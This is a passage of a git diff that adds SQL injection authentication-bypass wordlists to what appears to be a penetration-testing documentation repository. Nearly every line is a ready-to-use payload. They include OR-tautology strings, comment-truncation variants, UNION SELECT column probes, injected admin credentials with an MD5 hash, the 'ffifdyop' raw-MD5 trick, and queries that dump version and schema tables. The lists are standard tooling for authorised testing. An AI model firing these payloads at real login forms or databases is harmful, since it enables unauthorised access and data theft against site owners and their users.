+"oR"2"="2"oR"
+"oR 2=2-- 2
+"oR 2=2#
+"oR 2=2/*
+"oR 2=2 oR"
+"oR/**/2=2-- 2
+"oR/**/2=2#
+"oR/**/2=2/*
+"oR/**/2=2/**/oR"
+"oR(2)=2-- 2
+"oR(2)=2#
+"oR(2)=2/*
+"oR(2)=2/*
+"oR(2)=(2)oR"
+"oR"2"="2" LimIT 1-- 2
+"oR"2"="2" LimIT 1#
+"oR"2"="2" LimIT 1/*
+"oR(2)=(2)LimIT(1)-- 2
+"oR(2)=(2)LimIT(1)#
+"oR(2)=(2)LimIT(1)/*
+
+'oR true-- 2
+'oR true#
+'oR true/*
+'oR true oR'
+'oR(true)-- 2
+'oR(true)#
+'oR(true)/*
+'oR(true)oR'
+'oR/**/true-- 2
+'oR/**/true#
+'oR/**/true/*
+'oR/**/true/**/oR'
+"oR true-- 2
+"oR true#
+"oR true/*
+"oR true oR"
+"oR(true)-- 2
+"oR(true)#
+"oR(true)/*
+"oR(true)oR"
+"oR/**/true-- 2
+"oR/**/true#
+"oR/**/true/*
+"oR/**/true/**/oR"
+
+'oR'2'LiKE'2
+'oR'2'LiKE'2'-- 2
+'oR'2'LiKE'2'#
+'oR'2'LiKE'2'/*
+'oR'2'LiKE'2'oR'
+'oR(2)LiKE(2)-- 2
+'oR(2)LiKE(2)#
+'oR(2)LiKE(2)/*
+'oR(2)LiKE(2)oR'
+"oR"2"LiKE"2
+"oR"2"LiKE"2"-- 2
+"oR"2"LiKE"2"#
+"oR"2"LiKE"2"/*
+"oR"2"LiKE"2"oR"
+"oR(2)LiKE(2)-- 2
+"oR(2)LiKE(2)#
+"oR(2)LiKE(2)/*
+"oR(2)LiKE(2)oR"
+
+admin
+admin'-- 2
+admin'#
+admin'/*
+admin"-- 2
+admin"#
+ffifdyop
+
+' UniON SElecT 1,2-- 2
+' UniON SElecT 1,2,3-- 2
+' UniON SElecT 1,2,3,4-- 2
+' UniON SElecT 1,2,3,4,5-- 2
+' UniON SElecT 1,2#
+' UniON SElecT 1,2,3#
+' UniON SElecT 1,2,3,4#
+' UniON SElecT 1,2,3,4,5#
+'UniON(SElecT(1),2)-- 2
+'UniON(SElecT(1),2,3)-- 2
+'UniON(SElecT(1),2,3,4)-- 2
+'UniON(SElecT(1),2,3,4,5)-- 2
+'UniON(SElecT(1),2)#
+'UniON(SElecT(1),2,3)#
+'UniON(SElecT(1),2,3,4)#
+'UniON(SElecT(1),2,3,4,5)#
+" UniON SElecT 1,2-- 2
+" UniON SElecT 1,2,3-- 2
+" UniON SElecT 1,2,3,4-- 2
+" UniON SElecT 1,2,3,4,5-- 2
+" UniON SElecT 1,2#
+" UniON SElecT 1,2,3#
+" UniON SElecT 1,2,3,4#
+" UniON SElecT 1,2,3,4,5#
+"UniON(SElecT(1),2)-- 2
+"UniON(SElecT(1),2,3)-- 2
+"UniON(SElecT(1),2,3,4)-- 2
+"UniON(SElecT(1),2,3,4,5)-- 2
+"UniON(SElecT(1),2)#
+"UniON(SElecT(1),2,3)#
+"UniON(SElecT(1),2,3,4)#
+"UniON(SElecT(1),2,3,4,5)#
+
+'||'2
+'||2-- 2
+'||'2'||'
+'||2#
+'||2/*
+'||2||'
+"||"2
+"||2-- 2
+"||"2"||"
+"||2#
+"||2/*
+"||2||"
+'||'2'='2
+'||'2'='2'||'
+'||2=2-- 2
+'||2=2#
+'||2=2/*
+'||2=2||'
+"||"2"="2
+"||"2"="2"||"
+"||2=2-- 2
+"||2=2#
+"||2=2/*
+"||2=2||"
+'||2=(2)LimIT(1)-- 2
+'||2=(2)LimIT(1)#
+'||2=(2)LimIT(1)/*
+"||2=(2)LimIT(1)-- 2
+"||2=(2)LimIT(1)#
+"||2=(2)LimIT(1)/*
+'||true-- 2
+'||true#
+'||true/*
+'||true||'
+"||true-- 2
+"||true#
+"||true/*
+"||true||"
+'||'2'LiKE'2
+'||'2'LiKE'2'-- 2
+'||'2'LiKE'2'#
+'||'2'LiKE'2'/*
+'||'2'LiKE'2'||'
+'||(2)LiKE(2)-- 2
+'||(2)LiKE(2)#
+'||(2)LiKE(2)/*
+'||(2)LiKE(2)||'
+"||"2"LiKE"2
+"||"2"LiKE"2"-- 2
+"||"2"LiKE"2"#
+"||"2"LiKE"2"/*
+"||"2"LiKE"2"||"
+"||(2)LiKE(2)-- 2
+"||(2)LiKE(2)#
+"||(2)LiKE(2)/*
+"||(2)LiKE(2)||"
+
+')oR('2
+')oR'2'-- 2
+')oR'2'#
+')oR'2'/*
+')oR'2'oR('
+')oR(2)-- 2
+')oR(2)#
+')oR(2)/*
+')oR(2)oR('
+')oR 2-- 2
+')oR 2#
+')oR 2/*
+')oR 2 oR('
+')oR/**/2-- 2
+')oR/**/2#
+')oR/**/2/*
+')oR/**/2/**/oR('
+")oR("2
+")oR"2"-- 2
+")oR"2"#
+")oR"2"/*
+")oR"2"oR("
+")oR(2)-- 2
+")oR(2)#
+")oR(2)/*
+")oR(2)oR("
+")oR 2-- 2
+")oR 2#
+")oR 2/*
+")oR 2 oR("
+")oR/**/2-- 2
+")oR/**/2#
+")oR/**/2/*
+")oR/**/2/**/oR("
+')oR'2'=('2
+')oR'2'='2'oR('
+')oR'2'='2'-- 2
+')oR'2'='2'#
+')oR'2'='2'/*
+')oR'2'='2'oR('
+')oR 2=2-- 2
+')oR 2=2#
+')oR 2=2/*
+')oR 2=2 oR('
+')oR/**/2=2-- 2
+')oR/**/2=2#
+')oR/**/2=2/*
+')oR/**/2=2/**/oR('
+')oR(2)=2-- 2
+')oR(2)=2#
+')oR(2)=2/*
+')oR(2)=2/*
+')oR(2)=(2)oR('
+')oR'2'='2' LimIT 1-- 2
+')oR'2'='2' LimIT 1#
+')oR'2'='2' LimIT 1/*
+')oR(2)=(2)LimIT(1)-- 2
+')oR(2)=(2)LimIT(1)#
+')oR(2)=(2)LimIT(1)/*
+")oR"2"=("2
+")oR"2"="2"oR("
+")oR"2"="2"-- 2
+")oR"2"="2"#
+")oR"2"="2"/*
+")oR"2"="2"oR("
+")oR 2=2-- 2
+")oR 2=2#
+")oR 2=2/*
+")oR 2=2 oR("
+")oR/**/2=2-- 2
+")oR/**/2=2#
+")oR/**/2=2/*
+")oR/**/2=2/**/oR("
+")oR(2)=2-- 2
+")oR(2)=2#
+")oR(2)=2/*
+")oR(2)=2/*
+")oR(2)=(2)oR("
+")oR"2"="2" LimIT 1-- 2
+")oR"2"="2" LimIT 1#
+")oR"2"="2" LimIT 1/*
+")oR(2)=(2)LimIT(1)-- 2
+")oR(2)=(2)LimIT(1)#
+")oR(2)=(2)LimIT(1)/*
+')oR true-- 2
+')oR true#
+')oR true/*
+')oR true oR('
+')oR(true)-- 2
+')oR(true)#
+')oR(true)/*
+')oR(true)oR('
+')oR/**/true-- 2
+')oR/**/true#
+')oR/**/true/*
+')oR/**/true/**/oR('
+")oR true-- 2
+")oR true#
+")oR true/*
+")oR true oR("
+")oR(true)-- 2
+")oR(true)#
+")oR(true)/*
+")oR(true)oR("
+")oR/**/true-- 2
+")oR/**/true#
+")oR/**/true/*
+")oR/**/true/**/oR("
+')oR'2'LiKE('2
+')oR'2'LiKE'2'-- 2
+')oR'2'LiKE'2'#
+')oR'2'LiKE'2'/*
+')oR'2'LiKE'2'oR('
+')oR(2)LiKE(2)-- 2
+')oR(2)LiKE(2)#
+')oR(2)LiKE(2)/*
+')oR(2)LiKE(2)oR('
+")oR"2"LiKE("2
+")oR"2"LiKE"2"-- 2
+")oR"2"LiKE"2"#
+")oR"2"LiKE"2"/*
+")oR"2"LiKE"2"oR("
+")oR(2)LiKE(2)-- 2
+")oR(2)LiKE(2)#
+")oR(2)LiKE(2)/*
+")oR(2)LiKE(2)oR("
+admin')-- 2
+admin')#
+admin')/*
+admin")-- 2
+admin")#
+') UniON SElecT 1,2-- 2
+') UniON SElecT 1,2,3-- 2
+') UniON SElecT 1,2,3,4-- 2
+') UniON SElecT 1,2,3,4,5-- 2
+') UniON SElecT 1,2#
+') UniON SElecT 1,2,3#
+') UniON SElecT 1,2,3,4#
+') UniON SElecT 1,2,3,4,5#
+')UniON(SElecT(1),2)-- 2
+')UniON(SElecT(1),2,3)-- 2
+')UniON(SElecT(1),2,3,4)-- 2
+')UniON(SElecT(1),2,3,4,5)-- 2
+')UniON(SElecT(1),2)#
+')UniON(SElecT(1),2,3)#
+')UniON(SElecT(1),2,3,4)#
+')UniON(SElecT(1),2,3,4,5)#
+") UniON SElecT 1,2-- 2
+") UniON SElecT 1,2,3-- 2
+") UniON SElecT 1,2,3,4-- 2
+") UniON SElecT 1,2,3,4,5-- 2
+") UniON SElecT 1,2#
+") UniON SElecT 1,2,3#
+") UniON SElecT 1,2,3,4#
+") UniON SElecT 1,2,3,4,5#
+")UniON(SElecT(1),2)-- 2
+")UniON(SElecT(1),2,3)-- 2
+")UniON(SElecT(1),2,3,4)-- 2
+")UniON(SElecT(1),2,3,4,5)-- 2
+")UniON(SElecT(1),2)#
+")UniON(SElecT(1),2,3)#
+")UniON(SElecT(1),2,3,4)#
+")UniON(SElecT(1),2,3,4,5)#
+')||('2
+')||2-- 2
+')||'2'||('
+')||2#
+')||2/*
+')||2||('
+")||("2
+")||2-- 2
+")||"2"||("
+")||2#
+")||2/*
+")||2||("
+')||'2'=('2
+')||'2'='2'||('
+')||2=2-- 2
+')||2=2#
+')||2=2/*
+')||2=2||('
+")||"2"=("2
+")||"2"="2"||("
+")||2=2-- 2
+")||2=2#
+")||2=2/*
+")||2=2||("
+')||2=(2)LimIT(1)-- 2
+')||2=(2)LimIT(1)#
+')||2=(2)LimIT(1)/*
+")||2=(2)LimIT(1)-- 2
+")||2=(2)LimIT(1)#
+")||2=(2)LimIT(1)/*
+')||true-- 2
+')||true#
+')||true/*
+')||true||('
+")||true-- 2
+")||true#
+")||true/*
+")||true||("
+')||'2'LiKE('2
+')||'2'LiKE'2'-- 2
+')||'2'LiKE'2'#
+')||'2'LiKE'2'/*
+')||'2'LiKE'2'||('
+')||(2)LiKE(2)-- 2
+')||(2)LiKE(2)#
+')||(2)LiKE(2)/*
+')||(2)LiKE(2)||('
+")||"2"LiKE("2
+")||"2"LiKE"2"-- 2
+")||"2"LiKE"2"#
+")||"2"LiKE"2"/*
+")||"2"LiKE"2"||("
+")||(2)LiKE(2)-- 2
+")||(2)LiKE(2)#
+")||(2)LiKE(2)/*
+")||(2)LiKE(2)||("
+' UnION SELeCT 1,2`
+' UnION SELeCT 1,2,3`
+' UnION SELeCT 1,2,3,4`
+' UnION SELeCT 1,2,3,4,5`
+" UnION SELeCT 1,2`
+" UnION SELeCT 1,2,3`
+" UnION SELeCT 1,2,3,4`
+" UnION SELeCT 1,2,3,4,5`
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-authbypass-small.txt b/.gitbook/assets/sqli-authbypass-small.txt
new file mode 100644
index 00000000000..331068b4776
--- /dev/null
+++ b/.gitbook/assets/sqli-authbypass-small.txt
@@ -0,0 +1,197 @@
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+ or 1=1
+ or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+ and 1=1
+ and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+ like '%'
+ or 0=0 --
+ or 0=0 #
+ or 0=0 –
+' or         0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+ or 1=1
+ or 1=1--
+ or 1=1/*
+ or 1=1#
+ or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1--
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or 'a'='a
+' or a=a--
+' or a=a–
+') or ('a'='a
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+' or 'x'='x
+') or ('x'='x
+" or "x"="x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+ffifdyop
\ No newline at end of file
diff --git a/.gitbook/assets/sqli-authbypass.txt b/.gitbook/assets/sqli-authbypass.txt
new file mode 100644
index 00000000000..5a03da57f0f
--- /dev/null
+++ b/.gitbook/assets/sqli-authbypass.txt
@@ -0,0 +1,771 @@
+'-'
+' '
+'&'
+'^'
+'*'
+' or ''-'
+' or '' '
+' or ''&'
+' or ''^'
+' or ''*'
+"-"
+" "
+"&"
+"^"
+"*"
+" or ""-"
+" or "" "
+" or ""&"
+" or ""^"
+" or ""*"
+or true--
+" or true--
+' or true--
+") or true--
+') or true--
+' or 'x'='x
+') or ('x')=('x
+')) or (('x'))=(('x
+" or "x"="x
+") or ("x")=("x
+")) or (("x"))=(("x
+or 1=1
+or 1=1--
+or 1=1#
+or 1=1/*
+admin' --
+admin' #
+admin'/*
+admin' or '1'='1
+admin' or '1'='1'--
+admin' or '1'='1'#
+admin' or '1'='1'/*
+admin'or 1=1 or ''='
+admin' or 1=1
+admin' or 1=1--
+admin' or 1=1#
+admin' or 1=1/*
+admin') or ('1'='1
+admin') or ('1'='1'--
+admin') or ('1'='1'#
+admin') or ('1'='1'/*
+admin') or '1'='1
+admin') or '1'='1'--
+admin') or '1'='1'#
+admin') or '1'='1'/*
+1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
+admin" --
+admin" #
+admin"/*
+admin" or "1"="1
+admin" or "1"="1"--
+admin" or "1"="1"#
+admin" or "1"="1"/*
+admin"or 1=1 or ""="
+admin" or 1=1
+admin" or 1=1--
+admin" or 1=1#
+admin" or 1=1/*
+admin") or ("1"="1
+admin") or ("1"="1"--
+admin") or ("1"="1"#
+admin") or ("1"="1"/*
+admin") or "1"="1
+admin") or "1"="1"--
+admin") or "1"="1"#
+admin") or "1"="1"/*
+1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
+==
+=
+'
+' --
+' #
+' –
+'--
+'/*
+'#
+" --
+" #
+"/*
+' and 1='1
+' and a='a
+ or 1=1
+ or true
+' or ''='
+" or ""="
+1′) and '1′='1–
+' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
+" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
+ and 1=1
+ and 1=1–
+' and 'one'='one
+' and 'one'='one–
+' group by password having 1=1--
+' group by userid having 1=1--
+' group by username having 1=1--
+ like '%'
+ or 0=0 --
+ or 0=0 #
+ or 0=0 –
+' or         0=0 #
+' or 0=0 --
+' or 0=0 #
+' or 0=0 –
+" or 0=0 --
+" or 0=0 #
+" or 0=0 –
+%' or '0'='0
+ or 1=1
+ or 1=1--
+ or 1=1/*
+ or 1=1#
+ or 1=1–
+' or 1=1--
+' or '1'='1
+' or '1'='1'--
+' or '1'='1'/*
+' or '1'='1'#
+' or '1′='1
+' or 1=1
+' or 1=1 --
+' or 1=1 –
+' or 1=1--
+' or 1=1;#
+' or 1=1/*
+' or 1=1#
+' or 1=1–
+') or '1'='1
+') or '1'='1--
+') or '1'='1'--
+') or '1'='1'/*
+') or '1'='1'#
+') or ('1'='1
+') or ('1'='1--
+') or ('1'='1'--
+') or ('1'='1'/*
+') or ('1'='1'#
+'or'1=1
+'or'1=1′
+" or "1"="1
+" or "1"="1"--
+" or "1"="1"/*
+" or "1"="1"#
+" or 1=1
+" or 1=1 --
+" or 1=1 –
+" or 1=1--
+" or 1=1/*
+" or 1=1#
+" or 1=1–
+") or "1"="1
+") or "1"="1"--
+") or "1"="1"/*
+") or "1"="1"#
+") or ("1"="1
+") or ("1"="1"--
+") or ("1"="1"/*
+") or ("1"="1"#
+) or '1′='1–
+) or ('1′='1–
+' or 1=1 LIMIT 1;#
+'or 1=1 or ''='
+"or 1=1 or ""="
+' or 'a'='a
+' or a=a--
+' or a=a–
+') or ('a'='a
+" or "a"="a
+") or ("a"="a
+') or ('a'='a and hi") or ("a"="a
+' or 'one'='one
+' or 'one'='one–
+' or uid like '%
+' or uname like '%
+' or userid like '%
+' or user like '%
+' or username like '%
+' or 'x'='x
+') or ('x'='x
+" or "x"="x
+' OR 'x'='x'#;
+'=' 'or' and '=' 'or'
+' UNION ALL SELECT 1, @@version;#
+' UNION ALL SELECT system_user(),user();#
+' UNION select table_schema,table_name FROM information_Schema.tables;#
+admin' and substring(password/text(),1,1)='7
+' and substring(password/text(),1,1)='7
+
+==
+=
+'
+"
+'-- 2
+'/*
+'#
+"-- 2
+" #
+"/*
+'-'
+'&'
+'^'
+'*'
+'='
+0'<'2
+"-"
+"&"
+"^"
+"*"
+"="
+0"<"2
+
+')
+")
+')-- 2
+')/*
+')#
+")-- 2
+") #
+")/*
+')-('
+')&('
+')^('
+')*('
+')=('
+0')<('2
+")-("
+")&("
+")^("
+")*("
+")=("
+0")<("2
+
+'-''-- 2
+'-''#
+'-''/*
+'&''-- 2
+'&''#
+'&''/*
+'^''-- 2
+'^''#
+'^''/*
+'*''-- 2
+'*''#
+'*''/*
+'=''-- 2
+'=''#
+'=''/*
+0'<'2'-- 2
+0'<'2'#
+0'<'2'/*
+"-""-- 2
+"-""#
+"-""/*
+"&""-- 2
+"&""#
+"&""/*
+"^""-- 2
+"^""#
+"^""/*
+"*""-- 2
+"*""#
+"*""/*
+"=""-- 2
+"=""#
+"=""/*
+0"<"2"-- 2
+0"<"2"#
+0"<"2"/*
+
+')-''-- 2
+')-''#
+')-''/*
+')&''-- 2
+')&''#
+')&''/*
+')^''-- 2
+')^''#
+')^''/*
+')*''-- 2
+')*''#
+')*''/*
+')=''-- 2
+')=''#
+')=''/*
+0')<'2'-- 2
+0')<'2'#
+0')<'2'/*
+")-""-- 2
+")-""#
+")-""/*
+")&""-- 2
+")&""#
+")&""/*
+")^""-- 2
+")^""#
+")^""/*
+")*""-- 2
+")*""#
+")*""/*
+")=""-- 2
+")=""#
+")=""/*
+0")<"2-- 2
+0")<"2#
+0")<"2/*
+
+
+'oR'2
+'oR'2'-- 2
+'oR'2'#
+'oR'2'/*
+'oR'2'oR'
+'oR(2)-- 2
+'oR(2)#
+'oR(2)/*
+'oR(2)oR'
+'oR 2-- 2
+'oR 2#
+'oR 2/*
+'oR 2 oR'
+'oR/**/2-- 2
+'oR/**/2#
+'oR/**/2/*
+'oR/**/2/**/oR'
+"oR"2
+"oR"2"-- 2
+"oR"2"#
+"oR"2"/*
+"oR"2"oR"
+"oR(2)-- 2
+"oR(2)#
+"oR(2)/*
+"oR(2)oR"
+"oR 2-- 2
+"oR 2#
+"oR 2/*
+"oR 2 oR"
+"oR/**/2-- 2
+"oR/**/2#
+"oR/**/2/*
+"oR/**/2/**/oR"
+
+'oR'2'='2
+'oR'2'='2'oR'
+'oR'2'='2'-- 2
+'oR'2'='2'#
+'oR'2'='2'/*
+'oR'2'='2'oR'
+'oR 2=2-- 2
+'oR 2=2#
+'oR 2=2/*
+'oR 2=2 oR'
+'oR/**/2=2-- 2
+'oR/**/2=2#
+'oR/**/2=2/*
+'oR/**/2=2/**/oR'
+'oR(2)=2-- 2
+'oR(2)=2#
+'oR(2)=2/*
+'oR(2)=2/*
+'oR(2)=(2)oR'
+'oR'2'='2' LimIT 1-- 2
+'oR'2'='2' LimIT 1#
+'oR'2'='2' LimIT 1/*
+'oR(2)=(2)LimIT(1)-- 2
+'oR(2)=(2)LimIT(1)#
+'oR(2)=(2)LimIT(1)/*
+"oR"2"="2
+"oR"2"="2"oR"
+"oR"2"="2"-- 2
+"oR"2"="2"#
+"oR"2"="2"/*
+"oR"2"="2"oR"
+"oR 2=2-- 2
+"oR 2=2#
+"oR 2=2/*
+"oR 2=2 oR"
+"oR/**/2=2-- 2
+"oR/**/2=2#
+"oR/**/2=2/*
+"oR/**/2=2/**/oR"
+"oR(2)=2-- 2
+"oR(2)=2#
+"oR(2)=2/*
+"oR(2)=2/*
+"oR(2)=(2)oR"
+"oR"2"="2" LimIT 1-- 2
+"oR"2"="2" LimIT 1#
+"oR"2"="2" LimIT 1/*
+"oR(2)=(2)LimIT(1)-- 2
+"oR(2)=(2)LimIT(1)#
+"oR(2)=(2)LimIT(1)/*
+
+'oR true-- 2
+'oR true#
+'oR true/*
+'oR true oR'
+'oR(true)-- 2
+'oR(true)#
+'oR(true)/*
+'oR(true)oR'
+'oR/**/true-- 2
+'oR/**/true#
+'oR/**/true/*
+'oR/**/true/**/oR'
+"oR true-- 2
+"oR true#
+"oR true/*
+"oR true oR"
+"oR(true)-- 2
+"oR(true)#
+"oR(true)/*
+"oR(true)oR"
+"oR/**/true-- 2
+"oR/**/true#
+"oR/**/true/*
+"oR/**/true/**/oR"
+
+'oR'2'LiKE'2
+'oR'2'LiKE'2'-- 2
+'oR'2'LiKE'2'#
+'oR'2'LiKE'2'/*
+'oR'2'LiKE'2'oR'
+'oR(2)LiKE(2)-- 2
+'oR(2)LiKE(2)#
+'oR(2)LiKE(2)/*
+'oR(2)LiKE(2)oR'
+"oR"2"LiKE"2
+"oR"2"LiKE"2"-- 2
+"oR"2"LiKE"2"#
+"oR"2"LiKE"2"/*
+"oR"2"LiKE"2"oR"
+"oR(2)LiKE(2)-- 2
+"oR(2)LiKE(2)#
+"oR(2)LiKE(2)/*
+"oR(2)LiKE(2)oR"
+
+admin
+admin'-- 2
+admin'#
+admin'/*
+admin"-- 2
+admin"#
+ffifdyop
+
+' UniON SElecT 1,2-- 2
+' UniON SElecT 1,2,3-- 2
+' UniON SElecT 1,2,3,4-- 2
+' UniON SElecT 1,2,3,4,5-- 2
+' UniON SElecT 1,2#
+' UniON SElecT 1,2,3#
+' UniON SElecT 1,2,3,4#
+' UniON SElecT 1,2,3,4,5#
+'UniON(SElecT(1),2)-- 2
+'UniON(SElecT(1),2,3)-- 2
+'UniON(SElecT(1),2,3,4)-- 2
+'UniON(SElecT(1),2,3,4,5)-- 2
+'UniON(SElecT(1),2)#
+'UniON(SElecT(1),2,3)#
+'UniON(SElecT(1),2,3,4)#
+'UniON(SElecT(1),2,3,4,5)#
+" UniON SElecT 1,2-- 2
+" UniON SElecT 1,2,3-- 2
+" UniON SElecT 1,2,3,4-- 2
+" UniON SElecT 1,2,3,4,5-- 2
+" UniON SElecT 1,2#
+" UniON SElecT 1,2,3#
+" UniON SElecT 1,2,3,4#
+" UniON SElecT 1,2,3,4,5#
+"UniON(SElecT(1),2)-- 2
+"UniON(SElecT(1),2,3)-- 2
+"UniON(SElecT(1),2,3,4)-- 2
+"UniON(SElecT(1),2,3,4,5)-- 2
+"UniON(SElecT(1),2)#
+"UniON(SElecT(1),2,3)#
+"UniON(SElecT(1),2,3,4)#
+"UniON(SElecT(1),2,3,4,5)#
+
+'||'2
+'||2-- 2
+'||'2'||'
+'||2#
+'||2/*
+'||2||'
+"||"2
+"||2-- 2
+"||"2"||"
+"||2#
+"||2/*
+"||2||"
+'||'2'='2
+'||'2'='2'||'
+'||2=2-- 2
+'||2=2#
+'||2=2/*
+'||2=2||'
+"||"2"="2
+"||"2"="2"||"
+"||2=2-- 2
+"||2=2#
+"||2=2/*
+"||2=2||"
+'||2=(2)LimIT(1)-- 2
+'||2=(2)LimIT(1)#
+'||2=(2)LimIT(1)/*
+"||2=(2)LimIT(1)-- 2
+"||2=(2)LimIT(1)#
+"||2=(2)LimIT(1)/*
+'||true-- 2
+'||true#
+'||true/*
+'||true||'
+"||true-- 2
+"||true#
+"||true/*
+"||true||"
+'||'2'LiKE'2
+'||'2'LiKE'2'-- 2
+'||'2'LiKE'2'#
+'||'2'LiKE'2'/*
+'||'2'LiKE'2'||'
+'||(2)LiKE(2)-- 2
+'||(2)LiKE(2)#
+'||(2)LiKE(2)/*
+'||(2)LiKE(2)||'
+"||"2"LiKE"2
+"||"2"LiKE"2"-- 2
+"||"2"LiKE"2"#
+"||"2"LiKE"2"/*
+"||"2"LiKE"2"||"
+"||(2)LiKE(2)-- 2
+"||(2)LiKE(2)#
+"||(2)LiKE(2)/*
+"||(2)LiKE(2)||"
+
+')oR('2
+')oR'2'-- 2
+')oR'2'#
+')oR'2'/*
+')oR'2'oR('
+')oR(2)-- 2
+')oR(2)#
+')oR(2)/*
+')oR(2)oR('
+')oR 2-- 2
+')oR 2#
+')oR 2/*
+')oR 2 oR('
+')oR/**/2-- 2
+')oR/**/2#
+')oR/**/2/*
+')oR/**/2/**/oR('
+")oR("2
+")oR"2"-- 2
+")oR"2"#
+")oR"2"/*
+")oR"2"oR("
+")oR(2)-- 2
+")oR(2)#
+")oR(2)/*
+")oR(2)oR("
+")oR 2-- 2
+")oR 2#
+")oR 2/*
+")oR 2 oR("
+")oR/**/2-- 2
+")oR/**/2#
+")oR/**/2/*
+")oR/**/2/**/oR("
+')oR'2'=('2
+')oR'2'='2'oR('
+')oR'2'='2'-- 2
+')oR'2'='2'#
+')oR'2'='2'/*
+')oR'2'='2'oR('
+')oR 2=2-- 2
+')oR 2=2#
+')oR 2=2/*
+')oR 2=2 oR('
+')oR/**/2=2-- 2
+')oR/**/2=2#
+')oR/**/2=2/*
+')oR/**/2=2/**/oR('
+')oR(2)=2-- 2
+')oR(2)=2#
+')oR(2)=2/*
+')oR(2)=2/*
+')oR(2)=(2)oR('
+')oR'2'='2' LimIT 1-- 2
+')oR'2'='2' LimIT 1#
+')oR'2'='2' LimIT 1/*
+')oR(2)=(2)LimIT(1)-- 2
+')oR(2)=(2)LimIT(1)#
+')oR(2)=(2)LimIT(1)/*
+")oR"2"=("2
+")oR"2"="2"oR("
+")oR"2"="2"-- 2
+")oR"2"="2"#
+")oR"2"="2"/*
+")oR"2"="2"oR("
+")oR 2=2-- 2
+")oR 2=2#
+")oR 2=2/*
+")oR 2=2 oR("
+")oR/**/2=2-- 2
+")oR/**/2=2#
+")oR/**/2=2/*
+")oR/**/2=2/**/oR("
+")oR(2)=2-- 2
+")oR(2)=2#
+")oR(2)=2/*
+")oR(2)=2/*
+")oR(2)=(2)oR("
+")oR"2"="2" LimIT 1-- 2
+")oR"2"="2" LimIT 1#
+")oR"2"="2" LimIT 1/*
+")oR(2)=(2)LimIT(1)-- 2
+")oR(2)=(2)LimIT(1)#
+")oR(2)=(2)LimIT(1)/*
+')oR true-- 2
+')oR true#
+')oR true/*
+')oR true oR('
+')oR(true)-- 2
+')oR(true)#
+')oR(true)/*
+')oR(true)oR('
+')oR/**/true-- 2
+')oR/**/true#
+')oR/**/true/*
+')oR/**/true/**/oR('
+")oR true-- 2
+")oR true#
+")oR true/*
+")oR true oR("
+")oR(true)-- 2
+")oR(true)#
+")oR(true)/*
+")oR(true)oR("
+")oR/**/true-- 2
+")oR/**/true#
+")oR/**/true/*
